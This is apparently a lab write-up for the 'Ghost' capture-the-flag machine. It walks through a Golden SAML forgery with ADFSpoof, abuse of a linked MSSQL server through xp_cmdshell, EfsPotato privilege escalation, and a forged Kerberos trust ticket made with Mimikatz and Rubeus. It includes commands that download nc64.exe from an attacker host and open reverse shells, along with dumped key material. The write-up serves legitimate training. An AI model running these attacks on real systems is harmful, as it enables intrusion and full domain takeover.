9AZTz0H0aguK9aCZY7Sc9WR0X4nv0vSQB7fzFTNG+hOr0PcOh+KIETfiR9KUerB1zbpW+XEUcG9wCyb8OMc4ndpo1WbzLAn7WNDTY9UcHmFJFVmRGbLt2+Pe5fikQxIVLfRCwUikNeKY/3YiOJV3XhA6x6e2zjN3I/Tfo1/eldj0IbE7RP4ptUjyuWkLcnWNHZr8YhLaWTbucDI8R8MXAjZqNCX7WvJ5i+YzJ8S+IQbM8R2DKeFXOTTV3w6gL1rAYUpF9xwe6CCItxrsP3v59mn21bvj3HunOEJI3aAoStJgtO4K+SOeIx+Fa7dLxpTEDecoNsj6hjMdGsrqzuolZX/GBF1SotrYN+W63MYSiZps6bWpc8WkCsIqMiOaGa1eNLvAlupUNGSBlcXNogdKU0R6AFKM60AN2FFd7n4R5TC76ZHIKGmxUcq9EuYdeqamw0TB4fW0YMW4OZqQyx6Z8m3J7hA2uZfB7jYBl2myMeBzqwQYTsEqxqV3QuT2uOwfAi5nknlWUWRvWJl4Ktjzdv3Ni+8O11M+F5gT1/6E9MfchK0GK2tOM6qI8qrroLMNjBHLv4XKAx6rEJsTjPTwaby8IpYjg6jc7DSJxNT+W9F82wYc7b3nBzmuIPk8LUfQb7QQLJjli+nemOc20fIrHZmTlPAh07OhK44/aRELISKPsR2Vjc/0bNiX8rIDjkvrD/KaJ8yDKdoQYHw8G+hU3dZMNpYseefw5KmI9q+SWRZEYJCPmFOS+DyQAiKxMi+hrmaZUsyeHv96cpo2OkAXNiF3T5dpHSXxLqIHJh3JvnFP9y2ZY+w9ahSR6Rlai+SokV5TLTCY7ah9yP/W1IwGuA4kyb0Tx8sdE0S/5p1A63+VwhuANv2NHqI+YDXCKW4QmwYTAeJuMjW/mY8hewBDw+xAbSaY4RklYL85fMByon9AMe55Jaozk8X8IvcW6+m3V/zkKRG7srLX5R7ii3C4epaZPVC5NjNgpBkpT31X7ZZZIyphQIRNNkAve49oaquxVVcrDNyKjmkkm8XSHHn153z/yK3mInTMwr2FJU3W7L/Kkvprl34Tp5fxC7G/KRJV7/GKIlBLU0BlNZbuDm7sYPpRdzhAkna4+c4r8gb2M5Qjasqit7kuPeCRSxkCgmBhrdvg4PCU6QRueIZ795qjWPKeJOs88c7sdADJiRjQSrcUGCAU59wTG0vB4hhO3D87sbdXCEa74/YXiR7mFgc7upx/JpV+KcCEVPdJQAhpfyVJGmWDJZBvVXoNC2XInsJZJf81Oz+qBxbZo+ZzJxeqxgROdxc+q5Qy6c+CC8Kg3ljMQNdzxpk6AVd0/nbhdcPPmyG6tHZVEtNWoLW5SgdSWf/M0tltJ/yRii0hxFBVQwRgFSmsKZIDzk5+OktW7Rq3VgxS4dj97ejfFbnoEbbvKl9STRPw/vuRbQaQF15ZnwlQ0fvtWuWbJUTiwXeWmp1yQMU/qWMV/LtyGRl4eZuROzBjd+ujf8/Q6YSdAMR/o6ziKBHXrzaF8dH9XizNux0kPdCgtcpWfW+aKEeiWiYDxpOzR8Wmcn+Th0hDD9+P5YeZ85p/NkedO7eRMi38lOIBU2nT3oupJMGnnNj1EUd2z8gMcW/+VekgfN+ku5yxi3b9pvUIiCatHgp6RRb70fdNkyUa6ahxM5zS1dL/joGuoIJe26lpgqpYz1vZa15VKuCRU6v62HtqsOnB5sn6IhR16z3H416uFmXc9k4WRZQ0zrZjdFm+WPAHoWAufzAdZP/pdYv1IsrDoXsIAyAgw3rEzcwKs6XA5K9kihMIZXXEvtU2rsNGevNCjFqNMAS9BeNi9r/XjHDXnFZv6OQpfYJUPiUmumE+DYXZ/AP/MPSDrCkLKVPyip7xDevBN/BEsNEUSTXxm [-] Encrypted Token Signing Key End [-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC [-] Store location value: CurrentUser [-] Store name value: My ## Reading The Issuer Identifier [-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust [-] Detected AD FS 2019 [-] Uncharted territory! This might not work... ## Reading Relying Party Trust Information from Database [-] core.ghost.htb ================== Enabled: True Sign-In Protocol: SAML 2.0 Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256 SamlResponseSignatureType: 1; Identifier: https://core.ghost.htb:8443 Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS"> <RequireFreshAuthentication>false</RequireFreshAuthentication> <IssuanceAuthorizationRules> <Rule> <Conditions> <Condition i:type="AlwaysCondition"> <Operator>IsPresent</Operator> </Condition> </Conditions> </Rule> </IssuanceAuthorizationRules> </PolicyMetadata> Access Policy Parameter: Issuance Rules: @RuleTemplate = "LdapClaims" @RuleName = "LdapClaims" c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"] => issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
What I need is the private key and the token signing key, both of which needs further reformatting. The token signing key can simply be base64 decoded, but the private key needs to be converted into binary after getting rid of all the dashes.
Note that there’s 2 private keys, but only the second one works.
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B-74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1' |tr -d '-'| xxd -r -p > privkey.bin ┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ cat signkey.txt | base64 -d > signkey.bin
Then I’ll use ADFSpoof to forge the SAML response. In addition to the two keys, I’ll also need to provide the following arguments:
-s— Target domain (core.ghost.htb)--endpoint— Authenticating endpoint (/adfs/saml/postResponse)--nameidformat— Name identifier format in URN form, see this page.--nameid— Account to impersonate (GHOST\administrator)--rpidentifier— Relying party (https://core.ghost.htb:8443)--assertions— Everything within theAttributeStatementsection of the SAML response seen above, except replacingjustin.bradleywithAdministrator.
Provide all of these to ADFSpoof, and it’ll generate a SAML response token:
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ faketime "$(ntpdate -q ghost.htb | cut -d ' ' -f 1,2)" python3 ADFSpoof.py -b signkey.bin privkey.bin -s core.ghost.htb saml2 --endpoint https://core.ghost.htb:8443/adfs/saml/postResponse --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'GHOST\administrator' --rpidentifier https://core.ghost.htb:8443 --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>GHOST\administrator</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>' ___ ____ ___________ ____ / | / __ \/ ____/ ___/____ ____ ____ / __/ / /| | / / / / /_ \__ \/ __ \/ __ \/ __ \/ /_ / ___ |/ /_/ / __/ ___/ / /_/ / /_/ / /_/ / __/ /_/ |_/_____/_/ /____/ .___/\____/\____/_/ /_/ A tool to for AD FS security tokens Created by @doughsec /home/ch3ng/machines/ghost/ADFSpoof.py:96: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.utcnow() PHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2..SNIP..
Now I’ll redo the authentication to Ghost Core but intercepting the last POST request to core.ghost.htb:8443/adfs/saml/postResponse. Replacing the POST body with the rogue SAML response just generated would log me in as Administrator.

Instead of the unauthorized banner, I now get an MSSQL debug console.

Unfortunately it’s running as a low-privileged user, and I cannot run xp_cmdshell or modify its configurations.

MSSQL Linked Servers:
The debug info at the top suggests that there’s two linked SQL servers located in different domains. This is confirmed with the sp_linkedservers query:

Linked servers is a MSSQL feature that enables executing queries and retrieving data from multiple systems, which can span across AD forests. The trusted link can often be abused for lateral movement, as shown in this HackTricks page. This is especially true if permissions are misconfigured on the remote host.
I tried running xp_cmdshell on the remote host PRIMARY, but it’s still blocked:
(Note: this is a CLI console I’ve created in Python for interacting with Ghost Core. The source code can be found here.)
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ python mssql.py [*] Sending SAMLResponse to core.ghost.htb [+] Authentication successful. [*] SQL query: (enter 'exit' to quit) >> exec('exec xp_cmdshell ''whoami''') at [primary] RequestError: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
However, inpersonation is allowed, and I can run queries in the context of sa:
[*] SQL query: (enter 'exit' to quit) >> execute('execute as login=''sa'';select user_name()') at [primary] { "recordsets": [ [ { "": "dbo" } ] ], "recordset": [ { "": "dbo" } ], "output": {}, "rowsAffected": [ 1 ] }
I tried running xp_cmdshell again as sa, it still failed but gave a different error:
[*] SQL query: (enter 'exit' to quit) >> execute('execute as login=''sa'';exec xp_cmdshell ''whoami''') at [primary] RequestError: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.
This is because it’s disabled. I’ll re-enable it:
[*] SQL query: (enter 'exit' to quit) >> execute('execute as login=''sa'';exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'',1;RECONFIGURE;') at [primary] { "recordsets": [], "output": {}, "rowsAffected": [] }
Now it works, OS command execution successful.
[*] SQL query: (enter 'exit' to quit) >> execute('execute as login=''sa'';exec xp_cmdshell ''hostname''') at [primary] { "recordsets": [ [ { "output": "PRIMARY" }, { "output": null } ] ], "recordset": [ { "output": "PRIMARY" }, { "output": null } ], "output": {}, "rowsAffected": [ 2 ] }
For the shell I’ll run the following two queries:
$ execute('execute as login=''sa'';exec xp_cmdshell ''curl -o c:\users\public\documents\nc64.exe http://10.10.14.93:8000/nc64.exe''') at [primary]
$ execute('execute as login=''sa'';exec xp_cmdshell ''c:\users\public\documents\nc64.exe 10.10.14.93 8001 -e cmd.exe''') at [primary]
The first one downloads a nc binary, the second one triggers it, and a shell as mssqlserver is sent back from PRIMARY:
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ rlwrap nc -lvnp 8001 listening on [any] 8001 ... connect to [10.10.14.93] from (UNKNOWN) [10.129.231.105] 49836 Microsoft Windows [Version 10.0.20348.2582] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt service\mssqlserver C:\Windows\system32> hostname PRIMARY
Escalation from nt service\mssqlserver:
Potato Attack:
Escalating from here should be relatively straightforward, as service accounts often have impersonate privileges, which can be abused with Potato attacks.
C:\Windows\system32> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
GodPotato is usually quite reliable and had been used in previous boxes like Flight and Visual. However, Defender is active on this server, and the exe file is immediately deleted upon upload.
I’ll use EfsPotato instead, which is undetected by Defender. There’s no pre-built binaries available, and has to be compiled on the server.
C:\Users\Public\Documents> c:\windows\microsoft.net\framework\v4.0.30319\csc.exe efspotato.cs -nowarn:1691,618 Microsoft (R) Visual C# Compiler version 4.8.4161.0 for C# 5 Copyright (C) Microsoft Corporation. All rights reserved. This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240 C:\Users\Public\Documents> dir Volume in drive C has no label. Volume Serial Number is 161D-1BB7 Directory of c:\Users\Public\Documents 01/15/2025 07:08 AM <DIR> . 01/30/2024 07:28 PM <DIR> .. 01/15/2025 07:04 AM 25,441 efspotato.cs 01/15/2025 07:08 AM 17,920 efspotato.exe 01/15/2025 06:44 AM 45,272 nc64.exe 3 File(s) 88,633 bytes 2 Dir(s) 3,978,080,256 bytes free C:\Users\Public\Documents> .\efspotato.exe "whoami" Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] [+] Current user: NT Service\MSSQLSERVER [+] Pipe: \pipe\lsarpc [!] binding ok (handle=1a5453c0) [+] Get Token: 880 [!] process with pid: 3664 created. ============================== nt authority\system
I’ll call the nc binary uploaded earlier to send back a reverse shell:
C:\Users\Public\Documents> .\efspotato.exe "nc64.exe 10.10.14.93 8001 -e cmd.exe" Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability). Part of GMH's fuck Tools, Code By zcgonvh. CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net] [+] Current user: NT Service\MSSQLSERVER [+] Pipe: \pipe\lsarpc [!] binding ok (handle=c8e6e0) [+] Get Token: 880 [!] process with pid: 2132 created. ============================== [x] EfsRpcEncryptFileSrv failed: 1818
Now I’m nt authority\system on PRIMARY:
┌──(ch3ng㉿localhost)-[~/machines/ghost] └─$ rlwrap nc -lvnp 8001 listening on [any] 8001 ... connect to [10.10.14.93] from (UNKNOWN) [10.129.231.105] 49853 Microsoft Windows [Version 10.0.20348.2582] (c) Microsoft Corporation. All rights reserved. C:\Public\Documents> whoami nt authority\system
However, no root flag was found. It’s not quite done yet.
Post-Exploitation on PRIMARY:
Network Layout:
PRIMARY is located in an internal network, with an IP address of 10.0.0.10:
C:\Users\Public\Documents> ipconfig Windows IP Configuration Ethernet adapter Ethernet: Connection-specific DNS Suffix . : IPv4 Address. . . . . . . . . . . : 10.0.0.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.0.0.254
It’s default gateway is 10.0.0.254, which is the internal IP address of DC01:
*Evil-WinRM* PS C:\Users\justin.bradley\Documents> ipconfig Windows IP Configuration Ethernet adapter vEthernet (internal): Connection-specific DNS Suffix . : IPv4 Address. . . . . . . . . . . : 10.0.0.254 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : Ethernet adapter Ethernet0 2: Connection-specific DNS Suffix . : .htb IPv4 Address. . . . . . . . . . . : 10.129.231.105 Subnet Mask . . . . . . . . . . . : 255.255.0.0 Default Gateway . . . . . . . . . : 10.129.0.1
A default gateway is the IP address a system use to send traffic destined for networks outside its own subnet. This means that all outbound traffic from PRIMARY to external networks are routed through DC01, which acts as a bridge between them.
Also, PRIMARY does not have an external interface, so it’s not directly reachable from the outside.
Domain Trusts:
I’ll run BloodHound again, as the internal network wasn’t accessible during the initial scan. PRIMARY is the domain controller of corp.ghost.htb:

There’s also bidirectional trust between ghost.htb and corp.ghost.htb:

A domain trust is a relationship established between two domains that allows users to share resources between them. In a bidirectional trust relationship, both domains trust each other, and authentication requests can be passed between them in either directions. Since I already have control of the DC of a child domain trusted by ghost.htb, I can leverage the trust relationship to impersonate users or escalate privileges across domains.
Escalation to DC01:
Forging Trust Ticket:
When you think about it, Kerberos conceptually functions in a similar way to SAML authentication. It acts as an identity provider within the domain, and issues tickets — specifically TGS — that prove a user’s identity to other Windows services. When accessing services in a foreign trusted domain, the KDC issues a special interdomain trust ticket, which is presented to the foreign domain’s KDC who then issues the TGS for the requested service.
As the SYSTEM user on PRIMARY, I effectively have full control of corp.ghost.htb’s KDC, and can forge interdomain trust tickets for DC01, much like a Golden SAML attack.
This blog post has an excellent example of such attack. To start, I’ll use Mimikatz’s lsadump::trust module to dump out trust keys and a bunch of information about the domain trust relationships.
C:\Users\Public\Documents> .\mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # lsadump::trust /patch Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498) Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966) [ In ] CORP.GHOST.HTB -> GHOST.HTB * 5/25/2025 2:12:47 AM - CLEAR - 7c dc 82 26 65 97 cd 7e fe 93 e3 06 74 73 ee d1 1e e7 99 7b 7b 25 64 42 0b d8 9d 55 5a a6 7b 40 52 b3 9e 07 fc e9 89 fb 88 26 fb aa 10 ca 36 ef db b6 59 1d 15 f0 35 2e 63 f4 a1 d5 f0 33 e4 0d 55 16 13 76 f7 e6 a8 05 29 c1 6f 03 13 f8 6e 6b f7 39 5a fb 8d 41 53 8e f2 a2 24 d3 7f 70 aa 41 8d f7 27 f3 8c dc a1 36 3b b6 ca 8d dc bb 8f 2e 53 49 a5 58 65 04 63 d7 ca d2 4b a1 69 5b b1 59 21 5c 09 98 f1 c2 7e a3 4a a7 17 cf 67 6a 90 97 37 ef 9b 82 8c 7d f1 83 c0 8a 41 f7 a8 00 ad 94 15 a3 a1 00 24 1a 76 d8 12 30 58 f8 72 03 f2 20 20 6a af a5 1d 20 78 d2 11 4f a1 c6 bb 88 76 a8 fd e3 30 a6 ae 71 58 dc 1f 48 97 08 21 c2 c2 ab e4 24 ff 1b 30 70 5f 5b e2 41 99 58 4d aa 47 12 69 d3 76 e3 b6 a2 a1 a6 34 9a 62 3a ac 90 2b 4d * aes256_hmac 86dab0fc63f7a3f6ab216f47cc7613a2833bf55ff8db7ec7df037922c809a097 * aes128_hmac b05a74d12ab15951f790ed34e89150cc * rc4_hmac_nt 053fc16b43d14e3a3ade43c1f2c259f6 [ Out ] GHOST.HTB -> CORP.GHOST.HTB * 5/25/2025 2:24:45 AM - CLEAR - 66 51 47 42 b8 f0 79 e8 7d b0 d3 fd 13 44 06 4a 82 3b e5 19 ba f1 2e 12 c4 3c 72 da 3d b8 74 0f 09 51 92 11 7e e8 f0 95 04 2d a8 da 20 c8 aa d9 0e 8f ad 68 67 f9 52 ed f9 ce 31 8e 33 31 a5 5d 9a bf 4b de 5a f6 63 0c 42 6e 51 bd d2 a9 d5 80 08 8c d4 96 f6 9d af 45 a1 fa 39 dc 47 88 08 41 8f fb 95 ae df d6 d7 6f a3 d6 6b 9f 0f a5 e9 79 3d 9e 35 d6 5d 28 02 59 b0 26 75 96 f2 92 d5 83 d2 74 38 5f fd 04 c6 be f8 54 ed 76 49 d0 6a d8 dc f1 f7 33 79 17 3a fc 1c 22 05 df 65 21 60 82 08 f0 1c 26 21 1a c1 7a 71 d8 fa cb e0 eb b1 86 d1 fb ae 6e 8e 3c 2d 1e 7f f4 20 c5 22 6a 24 cc a3 8d c3 b4 27 9c b7 c0 60 2b a6 2f 6e 2b 12 a0 5f b0 0b 33 19 5b 6f 33 19 cf 49 3b b0 91 4e 52 43 58 40 dd da 97 cd 65 b0 1a f9 bc ba f6 50 ee * aes256_hmac f8fae023a945f704ae83693760f20b5003dd0d63935887be51adb2d9ca730577 * aes128_hmac 1498440b109c177363f92398da939a88 * rc4_hmac_nt 1e494086a5706e92eeb5b037e1a9226d [ In-1] CORP.GHOST.HTB -> GHOST.HTB * 7/22/2024 9:21:26 AM - CLEAR - de 0b 64 63 58 9d ed e1 bc 36 c0 50 7c 4d 41 6d bd 82 72 e9 98 9b 13 58 b8 68 f1 94 8c ca 12 50 9b af 45 7d 0a 4d 4e 40 e2 7d 12 59 72 2f 87 22 64 c8 fa b2 96 8d aa c1 f1 17 a3 e7 aa 2b ec 87 b5 59 57 71 6f 33 87 4c e0 8a 8b 03 38 a2 71 b6 d5 0b 61 fd 7e 14 3e 46 16 d9 29 d8 f6 f9 05 69 3f b7 4f c1 28 0b 7e ec e5 46 ab 7e e8 2c 8b be 70 b5 d9 6c 96 1b fb 56 33 bc 41 15 b5 73 42 25 54 15 4b b6 fc 55 07 81 60 4a 6b 4c 22 a2 55 61 e5 91 e6 75 e3 62 d4 9a 37 77 bd 63 90 8e 6a 2a 2c c6 88 8f 57 44 7a 9e 35 aa e5 6a 2b 5f c8 0a 8c 4f cb bd af c9 60 59 ff 15 d9 fd cf 27 93 9f f7 19 9e 91 2b 38 d7 0e ec c9 43 e6 8c 3b 60 02 5f b7 c3 c1 67 c2 6b 44 db 1f 9c f7 72 2f 3a 54 6e 62 02 c9 46 d1 b7 3d 26 54 d0 4f 35 65 a8 3f * aes256_hmac de2e49c70945c0cb0dec99c93587de84f0b048843b8e295c6da720ba85545ffe * aes128_hmac b55ca148bc95f95b8cb72f67661e1a08 * rc4_hmac_nt 0b0124f5d6c07ad530d6bf6a6404fdaa [Out-1] GHOST.HTB -> CORP.GHOST.HTB * 5/25/2025 2:24:45 AM - CLEAR - 78 10 13 24 91 0a 57 22 71 4e f6 ef 53 6a d8 54 02 97 63 0b 78 28 41 b7 5e 5e e6 b7 50 03 35 96 f2 e5 8b a3 c1 21 fa f6 01 f5 5f 7b 38 98 bc 8b 2b f5 3e 91 ce 8a 01 06 59 c0 9b 19 8c d8 d3 1a 17 9f d4 f1 b2 cb a0 49 f6 7f 97 f7 a0 79 63 bb 20 4a bf a3 d9 dd b1 13 20 c6 a0 84 a2 ea 65 79 6a b6 d3 db 17 e9 be b8 c1 35 57 38 c8 3b a6 6a 90 32 66 ba 0e bd fd 67 bf f4 e9 3c f2 e5 37 94 84 d6 c0 71 d3 42 85 ef 4e 94 ac 56 0f df 05 77 1b 74 57 4f a2 07 07 a1 d6 8e ee a1 cd 6a c0 4c d9 3f 16 0a fa 47 07 45 45 ad b5 6d e4 01 b1 e4 bf 76 c2 8e 5b 4e f4 04 ed 08 e4 e0 7e d8 18 5a f5 df 07 c3 97 3d 7e 6d 28 1e c1 1a ec 6d 06 83 0f 27 ea c8 00 af 92 c9 1f f6 50 45 f5 c1 bb 4a 09 bb d6 df 6b cf d6 fe fe d8 44 bb 19 90 46 0b * aes256_hmac b50449e019e0a55f9227fb2e830b044e9e9ad9952e2249e5de29f2027cd8f40d * aes128_hmac 81f4c2f21a640eed29861d71a619b4bb * rc4_hmac_nt ea4e9954536eb29091fc96bbce83be23
There’s 4 trust relationships listed, but the first entry is the important one, as it represents the incoming trust from ghost.htb to corp.ghost.htb. Also, rc4_hmac_nt is the trust key that’s used to encrypt the ticket.
I’ll use the information above to forge the trust ticket. The Mimikatz command is very similar to the one used for a Golden Ticket attack, except I’m using the trust key instead of krbtgt’s hash.
The /sids parameter specifies additional SIDs to include in the user’s SIDHistory attribute. This attribute is typically used for supporting domain migrations. When an object is moved to a new domain, it gets assigned a new SID, but its original SIDs are preserved in SIDHistory to ensure it won’t lose access to resources in the original domain. Here, I’ve added the SID of ghost.htb’s Enterprise Admins group to SIDHistory. Because of the trust relationship between the domains, the ghost.htb KDC would blindly trust the SID history, effectively treating the user as if they were a former member of the Enterprise Admins group, and granting them administrative access in the domain.
mimikatz # kerberos::golden /user:Administrator /domain:corp.ghost.htb /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:053fc16b43d14e3a3ade43c1f2c259f6 /service:krbtgt /target:ghost.htb /ticket:ticket.kirbi User : Administrator Domain : corp.ghost.htb (CORP) SID : S-1-5-21-2034262909-2733679486-179904498 User Id : 500 Groups Id : *513 512 520 518 519 Extra SIDs: S-1-5-21-4084500788-938703357-3654145966-519 ; ServiceKey: 053fc16b43d14e3a3ade43c1f2c259f6 - rc4_hmac_nt Service : krbtgt Target : ghost.htb Lifetime : 5/25/2025 4:44:52 AM ; 5/23/2035 4:44:52 AM ; 5/23/2035 4:44:52 AM -> Ticket : ticket.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file !
Requesting TGS:
With the trust ticket obtained, I’ll use Rubeus to request a TGS for the CIFS service from DC01, which grants filesystem access:
C:\Users\Public\Documents> .\Rubeus.exe asktgs /ticket:ticket.kirbi /service:cifs/dc01.ghost.htb /dc:dc01.ghost.htb /nowrap /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: Ask TGS [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building TGS-REQ request for: 'cifs/dc01.ghost.htb' [*] Using domain controller: dc01.ghost.htb (10.129.231.105) [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi): doIFAjCCBP6gAwIBBaEDAgEWooIEAzCCA/9hggP7MIID96ADAgEFoQsbCUdIT1NULkhUQqIhMB+gAwIBAqEYMBYbBGNpZnMbDmRjMDEuZ2hvc3QuaHRio4IDvjCCA7qgAwIBEqEDAgEEooIDrASCA6j7PEkNngZ6fHXssCLuUI2AUv2AkYGB+2ZRS401dm0PKdNh0sd5sR/+KNjI+U/Rb2McYMw8tTIfsT6WvliJQ/XpSQllycr4S3SKA0bZJTJUGHKB1D2ydfnRrTeBlU7hzsd3oD4tlKkGEPR+XujWz06QFzBjpgd2ZD1X2M+WGz8Enzfeh9I7k24nlAqWPxq8htHWFTaa6bkCFX4Fljwt99bedkQUwfFbhstwODe96XiZ/7HNG1UkV1Q5jGBqRP04W2EotWLcqizUjhee/qPH1yomqlRt3puyJiLNS4Pjcvh2vjAvAVCkfQWYvOCpVlHUHTyypkpDBa741yn0DMpR/O5WDfAoBHVNnP96Y51fc/9vVNI9Fh2iP40nxajCoal798Zgu3VyCIf8Kpw3r7RNeVZL/FKn7AQHea9Ekq2BsrUuzjPkA07DhLY0M9Mti8R0htdVRqfaxStfPdOcfJvTW8zDJs5CNHVcx3j37OpscWyhQVL/DiXmo/pM5IVc08S/5w4bQLDIIqZGYN/obsEdEJgrOfsPCoFXKWajyK5ITPcrf2jLPfDZfZTR7KI8xBjCyYsZIEPICXpTKq5hCulynYppVMgh5hdtsZF4iCiVZUj92nk0uNy6Dj9H28ZEHmfWiCiSK0AdkF0sCq4NMb2tXguA+T6G2Rtd6HmN1GBz55vSFoogNBO/VEHmWLfCiDHAZOjcdvG20c/zdrNIJ+Mj2iqnl3P9fVtIcmf3s9K42DtZdEcFfjjydWAa8bJbyOQQ2j05C8Swo5EKg6qPqYwJDDbNlxVgegflAalIXo9m/ouNpEOvc/4BuNkA6dSh+8hgMQXjkbd65YPcXQPQ/kD9soctnzyXTS34+jV8Y9UoAXf01m9JTIskdc95e9LnV3C0a/69W8tc+0s/Qb3LO5hALZ3+hF2Jb3p82DvxMWgNj/5GQIs1Ocr5qQpDaLNR7CanMA2+7pi+CuOv7DkNT6VpKu5tBvNaTwgve9lItlTVifmr4KTcZOgBwlReK6m10ggke0nKI7m7OW3tuJSzhBH+kbyz9C1IB/be9SFoNuJI7/CKOmhiLir9IsG99OjdQx4DtDCO6sToWbKSKMRdg7Z8Ci0Zeg4rwKk1F2FTbHJkT0hzjUfHytNHIj6/tjUZCZLscmf7hVMkNUeYfxI9NYkEoJOcm1s1RhyXBxp+oNZyAVGAtl88IdpFJ5kWj9Qm8x+bQkcwBDXyPx0d3Opq5L/+5tnKjgHAKkzzYSGjgeowgeegAwIBAKKB3wSB3H2B2TCB1qCB0zCB0DCBzaArMCmgAwIBEqEiBCDG/HaBvGu3ffRXYa1lP/NFJvSbHZXjg+s8FGAm6OOx/6EQGw5jb3JwLmdob3N0Lmh0YqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNTA1MjUxMTQ5MzNaphEYDzIwMjUwNTI1MjE0OTMzWqcRGA8yMDI1MDYwMTExNDkzM1qoCxsJR0hPU1QuSFRCqSEwH6ADAgECoRgwFhsEY2lmcxsOZGMwMS5naG9zdC5odGI= ServiceName : cifs/dc01.ghost.htb ServiceRealm : GHOST.HTB UserName : Administrator UserRealm : corp.ghost.htb StartTime : 5/25/2025 4:49:33 AM EndTime : 5/25/2025 2:49:33 PM RenewTill : 6/1/2025 4:49:33 AM Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : xvx2gbxrt330V2GtZT/zRSb0mx2V44PrPBRgJujjsf8=
The /ptt flag in the command loads the ticket into the current session. Now I can list directories on DC01:
C:\Users\Public\Documents> dir \\dc01.ghost.htb\c$ Volume in drive \\dc01.ghost.htb\c$ has no label. Volume Serial Number is 2804-C13F Directory of \\dc01.ghost.htb\c$ 05/08/2021 01:20 AM <DIR> PerfLogs 07/22/2024 09:55 AM <DIR> Program Files 07/22/2024 09:55 AM <DIR> Program Files (x86) 02/04/2024 02:48 PM <DIR> Users 07/10/2024 03:08 AM <DIR> Windows 0 File(s) 0 bytes 5 Dir(s) 3,644,932,096 bytes free
I’ll copy the nc binary to DC01, and run it with PsExec to send back a reverse shell.
